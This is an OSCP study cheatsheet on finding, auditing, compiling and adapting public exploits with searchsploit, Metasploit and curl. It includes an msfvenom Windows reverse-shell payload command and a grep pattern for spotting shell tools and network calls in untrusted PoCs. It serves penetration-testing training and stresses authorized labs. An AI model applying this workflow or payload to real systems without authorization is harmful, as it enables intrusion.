OSCP Reference

10.5 Public Exploit Adaptation Cheatsheet

Found a matching vulnerability?

Check the exact feature, build and prerequisites before selecting a PoC.

Start the first checks →
PoC failed or needs adapting?

Locate the failed runtime, request, compilation or execution boundary.

Follow the finding →

← Cheatsheet index | Full procedure | Shells | Strategy map | Study methods: Select and adapt public exploits

10.5.1 Verify the exploit matches the affected feature and configuration Candidate gate

exact component/build/configuration
→ exploit prerequisites
→ source audit
→ runtime/dependencies
→ minimal diff
→ bounded effect
→ independent verification
→ session handoff

Record: source URL/EDB-ID/CVE/commit, affected component, OS/architecture, authentication, configuration, expected effect, runtime, dependencies, hard-coded values and stability risk.

10.5.2 SearchSploit

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"
searchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

Copy working source:

mkdir -p exploit-work && cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

Named NSE candidate:

nmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

Read categories and code first. intrusive, exploit, brute and dos change risk; script output still requires independent validation.

10.5.3 Metasploit module — restricted exam choice

msfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

Current exam rule: Auxiliary/Exploit/Post modules, Meterpreter and even check lock Metasploit use to one selected target. Use freely only in authorized labs; recheck the guide before an exam.

10.5.4 Review the exploit's actions and prerequisites before execution Source audit

sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

Check local privilege requests, destructive actions, third-party network calls, embedded commands/payloads, file writes, target/callback values, auth/session assumptions and false success conditions.

10.5.5 Run a reviewed Python exploit in a compatible environment Python exploit

Run/context: prepare the reviewed PoC on the testing workstation unless its documented prerequisites require target-local execution. Decide: an import or interpreter failure occurs before target behavior is proved. Repair the tool environment, then distinguish web transaction failures from a mismatched vulnerability.

python3 -m py_compile exploit.py
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Audit before --help; some poor PoCs execute during import. Python 2 syntax and str/bytes errors are runtime problems, not exploit failures.

10.5.6 Compile the reviewed exploit for the required platform Compile

gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32
file exploit-x86.exe exploit-x64.exe

Compile for where the exploit program runs. Generate the payload for the target execution context. Undefined reference = linker/library problem; Exec format error = wrong producer/consumer format or architecture.

10.5.7 Adapt only the parameters and mechanics required by the target context Minimal edits

cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Review only evidence-backed changes to:

target/port → scheme/base path/vhost → auth/cookie/CSRF
→ request method/body/headers → LHOST/LPORT
→ command/payload/architecture → paths/names → timing

10.5.8 Repair the exploit using a captured working transaction Web exploit diagnostics

curl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

Scoped self-signed lab endpoint:

curl -k -i 'https://HOSTNAME:PORT/PATH'

Parser error: print status, final URL, response headers and a bounded response-body sample. Check redirect, failed auth, changed CSRF, error page, WAF/proxy response and certificate handling before changing parsing logic.

10.5.9 Adapt an existing memory-corruption exploit to its matched context Existing memory-corruption PoC

Do not redevelop it. Confirm exact build, architecture, target profile/return-address assumptions, offset, payload space, bad characters, payload type and crash/restart behavior.

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'POC_DOCUMENTED_BAD_CHARACTERS' \
  -s POC_DOCUMENTED_MAX_SPACE

10.5.10 Identify exactly which capability the observed result proves Proof ladder

prerequisites confirmed
→ vulnerable path reached
→ bounded harmless effect
→ repeatable command execution
→ callback
→ usable session
→ host/identity/privilege verified

The PoC's success message, HTTP 200, uploaded filename, crash and TCP connection are not substitutes for the next proof.

10.5.11 Choose the next check from the failure you observed Failure router

FailureNext action
No credible matchImprove product/component/build/config evidence
Suspicious local privilege/destructive codeStop; isolate or reject the PoC
Import/dependency errorRecreate per-tool environment
Compiler errorFix named source/header/type issue
Undefined referenceAdd correct documented linker library/order
TLS failureConfirm HTTPS; use CA or scoped test override
Redirect/login/CSRF failureCompare real browser request and state
Success string, no effectInspect success condition; independently verify
Command works, callback does notOpen shell diagnostic ladder

10.5.12 Evidence

Save original source URL and hash, exact prerequisites, dependency/compiler state, modified diff, payload-generation command, invocation, raw result and independent verification. Modified exploit code must remain attributable to its original source.

10.5.13 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.5.13.1 Select and adapt public exploits

10.5.13.1.1 Find: Match a public exploit to the actual component and configuration

Join application fingerprint/configuration evidence with the advisory and PoC's stated preconditions before selecting the exploit.

searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID

Recognize: The exact feature/role/build conditions identify what must be checked; a product-name hit does not establish applicability.

Validate next: Resolve every required condition and define the smallest observable proof of the expected effect.

Match a public exploit to the actual component and configuration.

10.5.13.1.2 Commands and use-case variants

Need: An identified component/build and a candidate exploit with reviewable source. Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

source URL/EDB-ID/CVE/commit:
product + component + edition/build:
target OS/architecture/runtime:
remote or local; pre-auth or authenticated:
required configuration/feature/path/credential/privilege:
expected effect:
exploit runtime and dependencies:
hard-coded target/callback/payload assumptions:
destructive or stability risk:
evidence each prerequisite exists:

Do not substitute a scanner label for component evidence. Check vendor/version output, application behavior, files/configuration and the exploit's own affected-version notes. Distribution backports, disabled features, authentication and mitigations can invalidate a simple version match.

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

Inspect before copying:

searchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

Copy a working copy, never edit the archive in place:

mkdir -p exploit-work
cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

Selection cue: prefer a readable, reputable or verified exploit whose prerequisites and outcome match the observed component. Exclude denial-of-service entries when the objective is access.

A named Nmap NSE script can validate or exercise a specific known condition, but inspect it and its arguments first:

nmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

Script categories such as intrusive, exploit, brute or dos change risk and authorization requirements. A script-reported vulnerable result remains a candidate until its underlying evidence or controlled effect is validated.

10.5.13.1.3 Variant — source repository rather than Exploit-DB

Record and pin the exact source state:

git clone REPOSITORY_URL exploit-source
cd exploit-source
git log -1 --format='%H %ad %s' --date=iso-strict
git status --short

Read the README, license, dependency files, open issues relevant to the target version and the actual execution path. A popular repository is not automatically safe or compatible.

10.5.13.1.4 Variant — a matching Metasploit exploit module

Use only in an authorized lab or after committing the current exam's one allowed Metasploit/Meterpreter target. Even check against a target consumes that choice under the current guide.

msfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

Read info, verify the module's affected versions/references, select the explicit target profile and inspect every required option. A module rank or check result does not replace exact prerequisite validation or session verification.

Verify: Write the evidence for every prerequisite and the minimal effect that would validate the hypothesis.

If it fails: A scanner's CVE label or a copied walkthrough command is insufficient. Resolve the build/feature gap before running the PoC.

10.5.13.1.5 Find: Audit a PoC and reproduce its interpreter/dependency environment

Read the candidate source and local error path before interpreting target success/failure; inspect interpreter/import and dependency requirements.

file exploit.py
python3 --version
python3 -m pip --version

Recognize: The failure occurred locally before the vulnerable request; it says nothing about target patch state.

Validate next: Review side effects, reproduce supported dependencies/interpreter and observe the real request before judging exploitation.

Audit a PoC and reproduce its interpreter/dependency environment.

10.5.13.1.6 Commands and use-case variants

Need: An identified component/build and a candidate exploit with reviewable source. Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

Start with metadata and readable text:

file EXPLOIT_FILE
sha256sum EXPLOIT_FILE
sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

For binaries, prefer obtaining inspectable source. If only a binary exists, treat it as a substantially higher-risk choice:

file EXPLOIT_BINARY
sha256sum EXPLOIT_BINARY
strings -a EXPLOIT_BINARY | less
objdump -f EXPLOIT_BINARY

Audit for:

  • unexpected privilege requirements on the attacking host;
  • destructive file/process/service operations or denial of service;
  • downloads, callbacks or telemetry to third parties;
  • embedded credentials, tokens, commands or payloads;
  • files written or overwritten and their cleanup behavior;
  • hard-coded target addresses, ports, paths, virtual hosts and callback values;
  • authentication, cookie, CSRF, redirect, TLS and proxy assumptions;
  • target OS, architecture, runtime, library and payload assumptions;
  • success messages that are printed without verifying the claimed effect.

Safety cue: use source, a disposable environment and a clean snapshot when uncertainty remains. Do not grant sudo merely because an unknown PoC requests it.

head -n 1 EXPLOIT_FILE
python3 --version
gcc --version
file EXPLOIT_FILE

Separate three architectures:

  1. where the exploit program itself runs;
  2. the vulnerable target process;
  3. the payload that will execute inside or on the target.

A remote Python exploit may run on Kali while delivering a Windows x64 payload. A local Linux exploit normally must run on the target-compatible architecture. Compiler choice follows the produced program; payload choice follows the target execution context.

After source review:

python3 -m py_compile exploit.py
python3 exploit.py --help

Isolate explicit dependencies:

python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Run --help only after confirming that module import and argument handling do not trigger the exploit. Old Python 2 syntax, str/bytes mistakes, renamed modules and obsolete TLS dependencies are runtime problems, not target evidence.

Useful diagnostics:

python3 -X dev exploit.py ARGUMENTS
python3 -m trace --trace exploit.py ARGUMENTS

Use tracing only when its output is bounded and does not expose credentials. Prefer adding a few prints around the failing request/parser over changing many lines at once.

Use when: a source-based Python assessment tool has dependencies that should not modify Kali's system Python. This is setup/reference material, not authorization to install a tool.

10.5.13.1.6.1 Isolate the Python dependencies required by the reviewed tool Linux/Kali virtual environment
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Install one explicitly selected package only when needed:

python -m pip install PACKAGE
python -m pip show PACKAGE
python -m pip freeze
deactivate

PEP 668 intentionally protects externally managed system environments. Do not bypass it with --break-system-packages; use a venv or the distribution package when appropriate.

10.5.13.1.6.2 Run the procedure from a Windows PowerShell environment Windows PowerShell
py -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
deactivate
10.5.13.1.6.3 Record the runtime and dependencies needed to repeat the procedure Reproducibility checks
python --version
python -m pip --version
python -m pip freeze > requirements-resolved.txt

Record the tool source/commit, Python version, dependency file and exact command. Keep environments per tool when their dependency ranges conflict.

10.5.13.1.6.4 uv alternative for a Python PoC with missing dependencies

Use when uv is already available and the reviewed script needs a small dependency set. Keep the baseline venv workflow as an option when uv is absent.

10.5.13.1.6.4.1 Run outside the current project's dependencies, supplying the known dependency
# Run outside the current project's dependencies, supplying the known dependency
uv run --no-project --with requests exploit.py --help
10.5.13.1.6.4.2 For a script with its own inline dependency metadata
# For a script with its own inline dependency metadata
uv run --script exploit.py --help

Read: a working help/import path establishes the local runtime only. Inspect actual arguments, authentication and target requirements before execution. Pin dependency versions when the PoC depends on an older API; an ImportError and a target-side exploit failure are different boundaries. Dependency resolution can require Internet access.

Sources: upstream 1.

Verify: Confirm interpreter/dependency identity and observable intended request behavior; preserve the reviewed source and changes.

If it fails: Do not solve every old script with a global package change. Inspect Python-version semantics and choose a supported environment or minimal reviewed edit.

10.5.13.1.7 Find: Compile and minimally adapt an existing native or memory-corruption PoC

Inspect the native PoC's documented target process, compiler flags, ABI and artifact before running it in a target context.

file COMPILED_ARTIFACT
uname -m
getconf LONG_BIT

Recognize: An architecture/ABI mismatch explains a compatibility problem before exploit logic is evaluated.

Validate next: Confirm target process rather than just OS architecture, required libraries/loader and documented exploit-specific constraints.

Compile and minimally adapt an existing native or memory-corruption PoC.

10.5.13.1.8 Commands and use-case variants

Need: An identified component/build and a candidate exploit with reviewable source. Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Linux/ELF program:

gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries:

gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

Windows PE from Kali:

i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

Windows socket code commonly needs the Winsock import library:

i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

Failure cue: undefined references are linker evidence. Identify the missing symbol and documented library; do not delete calls until the binary compiles. Exec format error means the produced format/architecture cannot run in the current environment.

Change one assumption at a time and retain a diff:

cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Typical adaptations are:

AssumptionEvidence-backed edit
Target address/portObserved reachable endpoint
HTTP/HTTPS and base pathReproduced application request
Virtual host or Host headerResolved application identity
Username/password/cookieValid Block 5 authentication context
CSRF/session parsingActual request/response sequence
LHOST/LPORTAddress and listener reachable from the target context
Command or payloadTarget OS, interpreter, architecture, size and bad-character constraints
File path/nameWritable/executable target path and application behavior
Timeout/retryMeasured service behavior, not blind delay inflation

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Review the PoC comments and code for:

  • exact vulnerable build and target architecture;
  • hard-coded target/callback address and port;
  • return address/module assumptions and target profiles;
  • recorded offset, available payload space and bad characters;
  • payload architecture, type and exit behavior;
  • crash/restart and reliability expectations.

Replace an embedded payload only when the PoC documents its constraints:

msfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Use the PoC's actual bad-character and space requirements; the example list is not universal. A changed build, missing module, mitigation or misaligned offset invalidates the PoC and should not trigger a fresh exploit-development detour in this route.

Verify: Verify artifact format, architecture, required runtime and actual exploit effect independently.

If it fails: A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise.

10.5.13.1.9 Find: Repair a web PoC using the real HTTP transaction

Capture the application's real valid transaction and compare it with the PoC's request path, login/session sequence and response parser.

curl -sk -i -b cookies.txt http://TARGET:PORT/PATH

Recognize: The request never reached the protected operation; the success parser may be reading a login response.

Validate next: Restore valid host/path/session/CSRF state, then independently verify the exploit effect.

Repair a web PoC using the real HTTP transaction.

10.5.13.1.10 Commands and use-case variants

Need: An identified component/build and a candidate exploit with reviewable source. A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Before changing the script, reproduce the relevant request with Burp or curl and compare:

curl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

For a scoped lab with a known self-signed certificate:

curl -k -i 'https://HOSTNAME:PORT/PATH'

In Python Requests, use a session when cookies or defaults must persist:

with requests.Session() as session:
    response = session.get(url, timeout=10)
    print(response.status_code, response.url)
    print(response.headers)
    print(response.text[:500])

Set verify=False only for a scoped test after confirming the certificate problem; it disables certificate and hostname validation. Prefer a supplied CA bundle when possible.

Parser cue: IndexError, missing-key and regular-expression failures mean the received response did not have the assumed shape. Print status, final URL, headers and a bounded body fragment before rewriting the parser. Common causes are a changed path, redirect, failed login, CSRF change, error page, proxy/WAF response or certificate handling.

Verify: Check the target action/output rather than trusting the PoC's success string.

If it fails: A normal HTTP response can be an authentication or parsing failure. Separate application request repair from payload/callback diagnosis.


Top of document · Reference home